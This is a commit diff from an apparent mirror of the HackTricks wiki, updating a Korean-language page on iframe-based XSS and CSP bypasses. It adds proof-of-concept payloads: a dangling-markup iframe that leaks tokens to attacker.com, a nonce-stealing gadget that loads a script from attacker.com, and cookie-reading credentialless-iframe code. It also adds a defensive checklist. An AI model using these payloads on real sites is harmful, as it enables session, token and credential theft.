mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-
This commit is contained in:
		
							parent
							
								
									95e521191f
								
							
						
					
					
						commit
						81db2530d8
					
				@ -6,7 +6,7 @@
 | 
			
		||||
 | 
			
		||||
iframed 페이지의 내용을 나타내는 방법은 3가지가 있습니다:
 | 
			
		||||
 | 
			
		||||
- `src`를 통해 URL을 나타냅니다 (URL은 교차 출처 또는 동일 출처일 수 있습니다)
 | 
			
		||||
- URL을 나타내는 `src`를 통해 (URL은 교차 출처 또는 동일 출처일 수 있음)
 | 
			
		||||
- `data:` 프로토콜을 사용하여 내용을 나타내는 `src`
 | 
			
		||||
- 내용을 나타내는 `srcdoc`
 | 
			
		||||
 | 
			
		||||
@ -45,7 +45,7 @@ var secret = "child secret"
 | 
			
		||||
alert(parent.secret)
 | 
			
		||||
</script>
 | 
			
		||||
```
 | 
			
		||||
이전 HTML에 http 서버(예: `python3 -m http.server`)를 통해 접근하면 모든 스크립트가 실행되는 것을 알 수 있습니다(이를 방지하는 CSP가 없기 때문입니다). **부모는 어떤 iframe 안의 `secret` 변수를 접근할 수 없으며** **오직 if2 및 if3 iframe(같은 사이트로 간주됨)만이 원래 창의 secret에 접근할 수 있습니다.**\
 | 
			
		||||
이전 HTML에 HTTP 서버(예: `python3 -m http.server`)를 통해 접근하면 모든 스크립트가 실행되는 것을 알 수 있습니다(이를 방지하는 CSP가 없기 때문입니다). **부모는 어떤 iframe 안의 `secret` 변수를 접근할 수 없으며** **오직 if2 및 if3 iframe(같은 사이트로 간주됨)만이 원래 창의 secret에 접근할 수 있습니다.**\
 | 
			
		||||
if4가 `null` 출처로 간주된다는 점에 유의하세요.
 | 
			
		||||
 | 
			
		||||
### CSP가 있는 Iframes <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
 | 
			
		||||
@ -55,13 +55,13 @@ if4가 `null` 출처로 간주된다는 점에 유의하세요.
 | 
			
		||||
 | 
			
		||||
`script-src`의 `self` 값은 `data:` 프로토콜이나 `srcdoc` 속성을 사용하여 JS 코드를 실행하는 것을 허용하지 않습니다.\
 | 
			
		||||
그러나 CSP의 `none` 값조차도 `src` 속성에 URL(전체 또는 경로만) 을 넣은 iframe의 실행을 허용합니다.\
 | 
			
		||||
따라서 다음과 같이 페이지의 CSP를 우회하는 것이 가능합니다:
 | 
			
		||||
따라서 다음과 같이 페이지의 CSP를 우회할 수 있습니다:
 | 
			
		||||
```html
 | 
			
		||||
<html>
 | 
			
		||||
<head>
 | 
			
		||||
<meta
 | 
			
		||||
http-equiv="Content-Security-Policy"
 | 
			
		||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
 | 
			
		||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
 | 
			
		||||
</head>
 | 
			
		||||
<script>
 | 
			
		||||
var secret = "31337s3cr37t"
 | 
			
		||||
@ -77,13 +77,13 @@ src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert
 | 
			
		||||
</html>
 | 
			
		||||
```
 | 
			
		||||
**이전 CSP는 인라인 스크립트의 실행만 허용합니다.**\
 | 
			
		||||
그러나 **오직 `if1`과 `if2` 스크립트만 실행되지만, 오직 `if1`만 부모 비밀에 접근할 수 있습니다.**
 | 
			
		||||
그러나 **오직 `if1`과 `if2` 스크립트만 실행되지만, `if1`만 부모 비밀에 접근할 수 있습니다.**
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
따라서 **서버에 JS 파일을 업로드하고 iframe을 통해 로드할 수 있다면 CSP를 우회할 수 있습니다. `script-src 'none'`이더라도 가능합니다.** 이는 **동일 사이트 JSONP 엔드포인트를 악용하여도 가능할 수 있습니다.**
 | 
			
		||||
 | 
			
		||||
다음 시나리오로 테스트할 수 있습니다. 쿠키가 `script-src 'none'`일 때도 도난당합니다. 애플리케이션을 실행하고 브라우저로 접근하세요:
 | 
			
		||||
다음 시나리오로 테스트할 수 있습니다. `script-src 'none'`일 때도 쿠키가 도난당합니다. 애플리케이션을 실행하고 브라우저로 접근하세요:
 | 
			
		||||
```python
 | 
			
		||||
import flask
 | 
			
		||||
from flask import Flask
 | 
			
		||||
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
 | 
			
		||||
if __name__ == "__main__":
 | 
			
		||||
app.run()
 | 
			
		||||
```
 | 
			
		||||
### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
 | 
			
		||||
#### New (2023-2025) CSP 우회 기술 with iframes
 | 
			
		||||
 | 
			
		||||
연구 커뮤니티는 제한적인 정책을 무력화하기 위해 iframes를 악용하는 창의적인 방법을 계속 발견하고 있습니다. 아래는 지난 몇 년 동안 발표된 가장 주목할 만한 기술들입니다:
 | 
			
		||||
 | 
			
		||||
* **Dangling-markup / named-iframe 데이터 유출 (PortSwigger 2023)** – 애플리케이션이 HTML을 반영하지만 강력한 CSP가 스크립트 실행을 차단할 때, *dangling* `<iframe name>` 속성을 주입하여 여전히 민감한 토큰을 유출할 수 있습니다. 부분 마크업이 파싱되면, 별도의 출처에서 실행 중인 공격자 스크립트가 프레임을 `about:blank`로 탐색하고 `window.name`을 읽습니다. 이 값은 이제 다음 인용 문자까지의 모든 것을 포함합니다(예: CSRF 토큰). 피해자 컨텍스트에서 JavaScript가 실행되지 않기 때문에, 공격은 일반적으로 `script-src 'none'`을 회피합니다. 최소한의 PoC는 다음과 같습니다:
 | 
			
		||||
 | 
			
		||||
```html
 | 
			
		||||
<!-- 민감한 <script> 바로 앞의 주입 지점 -->
 | 
			
		||||
<iframe name="//attacker.com/?">  <!-- 속성이 의도적으로 열려 있음 -->
 | 
			
		||||
````
 | 
			
		||||
```javascript
 | 
			
		||||
// attacker.com 프레임
 | 
			
		||||
const victim = window.frames[0];
 | 
			
		||||
victim.location = 'about:blank';
 | 
			
		||||
console.log(victim.name); // → 유출된 값
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
* **동일 출처 iframe을 통한 nonce 도용 (2024)** – CSP nonce는 DOM에서 제거되지 않고 DevTools에서만 숨겨집니다. 공격자가 *동일 출처* iframe을 주입할 수 있다면(예: HTML을 사이트에 업로드하여) 자식 프레임은 간단히 `document.querySelector('[nonce]').nonce`를 쿼리하고 정책을 만족하는 새로운 `<script nonce>` 노드를 생성하여 `strict-dynamic`에도 불구하고 전체 JavaScript 실행을 가능하게 합니다. 다음 가젯은 마크업 주입을 XSS로 상승시킵니다:
 | 
			
		||||
 | 
			
		||||
```javascript
 | 
			
		||||
const n = top.document.querySelector('[nonce]').nonce;
 | 
			
		||||
const s = top.document.createElement('script');
 | 
			
		||||
s.src = '//attacker.com/pwn.js';
 | 
			
		||||
s.nonce = n;
 | 
			
		||||
top.document.body.appendChild(s);
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
* **폼 액션 하이재킹 (PortSwigger 2024)** – `form-action` 지시어를 생략한 페이지는 주입된 iframe이나 인라인 HTML로 로그인 폼이 *재타겟팅*될 수 있어, 비밀번호 관리자가 자격 증명을 외부 도메인에 자동으로 채우고 제출하게 할 수 있습니다. `script-src 'none'`이 존재할 때도 마찬가지입니다. 항상 `default-src`를 `form-action`으로 보완하세요!
 | 
			
		||||
 | 
			
		||||
**방어 노트 (빠른 체크리스트)**
 | 
			
		||||
 | 
			
		||||
1. 보조 컨텍스트를 제어하는 *모든* CSP 지시어(`form-action`, `frame-src`, `child-src`, `object-src` 등)를 항상 전송하세요.
 | 
			
		||||
2. nonce가 비밀일 것이라고 의존하지 마세요—`strict-dynamic` **및** 주입 지점을 제거하세요.
 | 
			
		||||
3. 신뢰할 수 없는 문서를 포함해야 할 경우 `sandbox="allow-scripts allow-same-origin"`을 **매우 조심스럽게** 사용하세요(스크립트 실행 격리만 필요하다면 `allow-same-origin` 없이 사용).
 | 
			
		||||
4. 방어 심화 COOP+COEP 배포를 고려하세요; 새로운 `<iframe credentialless>` 속성(§ 아래)은 제3자 임베드를 깨뜨리지 않고도 이를 가능하게 합니다.
 | 
			
		||||
 | 
			
		||||
### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
 | 
			
		||||
```html
 | 
			
		||||
<!-- This one requires the data: scheme to be allowed -->
 | 
			
		||||
<iframe
 | 
			
		||||
@ -122,26 +158,34 @@ iframe 내의 콘텐츠는 `sandbox` 속성을 사용하여 추가 제한을 받
 | 
			
		||||
사용될 때, `sandbox` 속성은 여러 가지 제한을 부과합니다:
 | 
			
		||||
 | 
			
		||||
- 콘텐츠는 고유한 출처에서 온 것처럼 취급됩니다.
 | 
			
		||||
- 양식을 제출하려는 모든 시도가 차단됩니다.
 | 
			
		||||
- 양식 제출 시도가 차단됩니다.
 | 
			
		||||
- 스크립트 실행이 금지됩니다.
 | 
			
		||||
- 특정 API에 대한 접근이 비활성화됩니다.
 | 
			
		||||
- 링크가 다른 브라우징 컨텍스트와 상호작용하는 것을 방지합니다.
 | 
			
		||||
- `<embed>`, `<object>`, `<applet>` 또는 유사한 태그를 통한 플러그인 사용이 금지됩니다.
 | 
			
		||||
- 콘텐츠 자체가 콘텐츠의 최상위 브라우징 컨텍스트를 탐색하는 것이 방지됩니다.
 | 
			
		||||
- 비디오 재생이나 양식 컨트롤의 자동 포커스와 같이 자동으로 트리거되는 기능이 차단됩니다.
 | 
			
		||||
- 비디오 재생이나 양식 컨트롤의 자동 포커스와 같은 자동으로 트리거되는 기능이 차단됩니다.
 | 
			
		||||
 | 
			
		||||
속성의 값은 모든 위의 제한을 적용하기 위해 비워둘 수 있습니다(`sandbox=""`). 또는 특정 제한에서 iframe을 면제하는 공백으로 구분된 값 목록으로 설정할 수 있습니다.
 | 
			
		||||
Tip: 최신 브라우저는 `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation` 등과 같은 세분화된 플래그를 지원합니다. 이를 조합하여 임베디드 애플리케이션에 필요한 최소한의 기능만 부여하십시오.
 | 
			
		||||
 | 
			
		||||
속성의 값은 모든 위의 제한을 적용하기 위해 비워둘 수 있습니다 (`sandbox=""`). 또는 특정 값을 공백으로 구분하여 설정하여 iframe이 특정 제한에서 면제되도록 할 수 있습니다.
 | 
			
		||||
```html
 | 
			
		||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
 | 
			
		||||
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
 | 
			
		||||
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
 | 
			
		||||
```
 | 
			
		||||
### Credentialless iframes
 | 
			
		||||
 | 
			
		||||
[이 기사](https://blog.slonser.info/posts/make-self-xss-great-again/)에서 설명한 바와 같이, iframe의 `credentialless` 플래그는 요청에 자격 증명을 전송하지 않고 iframe 내에서 페이지를 로드하는 데 사용되며, iframe에 로드된 페이지의 동일 출처 정책(SOP)을 유지합니다.
 | 
			
		||||
[이 기사](https://blog.slonser.info/posts/make-self-xss-great-again/)에서 설명한 바와 같이, iframe의 `credentialless` 플래그는 요청에 자격 증명을 전송하지 않고 iframe 내에서 페이지를 로드하는 데 사용되며, 로드된 페이지의 동일 출처 정책(SOP)을 유지합니다.
 | 
			
		||||
 | 
			
		||||
이것은 iframe이 부모 페이지에 로드된 동일 SOP의 다른 iframe에서 민감한 정보에 접근할 수 있게 합니다:
 | 
			
		||||
**Chrome 110(2023년 2월)부터 이 기능은 기본적으로 활성화되어** 있으며, 사양은 *anonymous iframe*이라는 이름으로 브라우저 간에 표준화되고 있습니다. MDN은 이를 다음과 같이 설명합니다: “실제 출처와 공유되지 않도록 제3자 iframe을 완전히 새로운 임시 저장소 파티션에 로드하는 메커니즘입니다. 따라서 쿠키, localStorage 또는 IndexedDB가 공유되지 않습니다.” 공격자와 방어자에게 미치는 결과:
 | 
			
		||||
 | 
			
		||||
* 서로 다른 credentialless iframe의 스크립트는 **여전히 동일한 최상위 출처를 공유**하며, DOM을 통해 자유롭게 상호작용할 수 있어 다중 iframe self-XSS 공격이 가능해집니다(아래 PoC 참조).
 | 
			
		||||
* 네트워크가 **자격 증명이 제거되었기 때문에**, iframe 내의 모든 요청은 사실상 인증되지 않은 세션처럼 작동합니다. CSRF 보호 엔드포인트는 일반적으로 실패하지만, DOM을 통해 유출될 수 있는 공개 페이지는 여전히 범위에 포함됩니다.
 | 
			
		||||
* credentialless iframe에서 생성된 팝업은 암묵적으로 `rel="noopener"`를 가지며, 일부 OAuth 흐름을 깨뜨립니다.
 | 
			
		||||
```javascript
 | 
			
		||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
 | 
			
		||||
alert(window.top[1].document.cookie);
 | 
			
		||||
// PoC: two same-origin credentialless iframes stealing cookies set by a third
 | 
			
		||||
window.top[1].document.cookie = 'foo=bar';            // write
 | 
			
		||||
alert(window.top[2].document.cookie);                 // read -> foo=bar
 | 
			
		||||
```
 | 
			
		||||
- Exploit example: Self-XSS + CSRF
 | 
			
		||||
 | 
			
		||||
@ -171,7 +215,7 @@ alert(window.top[1].document.cookie);
 | 
			
		||||
```
 | 
			
		||||
### fetchLater 공격
 | 
			
		||||
 | 
			
		||||
[이 기사](https://blog.slonser.info/posts/make-self-xss-great-again/)에서 언급된 바와 같이, API `fetchLater`는 요청을 나중에 실행되도록 구성할 수 있게 해줍니다(특정 시간 후). 따라서, 이는 예를 들어, 피해자를 공격자의 세션 내에서 로그인시키고(자기 XSS를 통해), `fetchLater` 요청을 설정하여(예를 들어 현재 사용자의 비밀번호를 변경하기 위해) 공격자의 세션에서 로그아웃하는 데 악용될 수 있습니다. 그런 다음, 피해자는 자신의 세션에 로그인하고 `fetchLater` 요청이 실행되어 피해자의 비밀번호가 공격자가 설정한 비밀번호로 변경됩니다.
 | 
			
		||||
[이 기사](https://blog.slonser.info/posts/make-self-xss-great-again/)에서 언급된 바와 같이, API `fetchLater`는 요청을 나중에 실행되도록 구성할 수 있게 해줍니다(특정 시간 후). 따라서, 이는 예를 들어, 피해자를 공격자의 세션 내에서 로그인시키고(자기 XSS를 통해), `fetchLater` 요청을 설정하여 현재 사용자의 비밀번호를 변경한 후 공격자의 세션에서 로그아웃하는 데 악용될 수 있습니다. 그런 다음, 피해자는 자신의 세션에 로그인하고 `fetchLater` 요청이 실행되어 피해자의 비밀번호가 공격자가 설정한 비밀번호로 변경됩니다.
 | 
			
		||||
 | 
			
		||||
이렇게 하면 피해자의 URL이 iframe에서 로드될 수 없더라도(CSP 또는 기타 제한으로 인해), 공격자는 여전히 피해자의 세션에서 요청을 실행할 수 있습니다.
 | 
			
		||||
```javascript
 | 
			
		||||
@ -184,3 +228,27 @@ fetchLater(req,{activateAfter: timeout})
 | 
			
		||||
## SOP에서의 Iframes
 | 
			
		||||
 | 
			
		||||
다음 페이지를 확인하세요:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
## 참고문헌
 | 
			
		||||
 | 
			
		||||
* [PortSwigger Research – CSP 우회를 위한 폼 하이재킹 사용 (2024년 3월)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
 | 
			
		||||
* [Chrome Developers – Iframe credentialless: COEP 환경에 iframe을 쉽게 삽입하기 (2023년 2월)](https://developer.chrome.com/blog/iframe-credentialless)
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user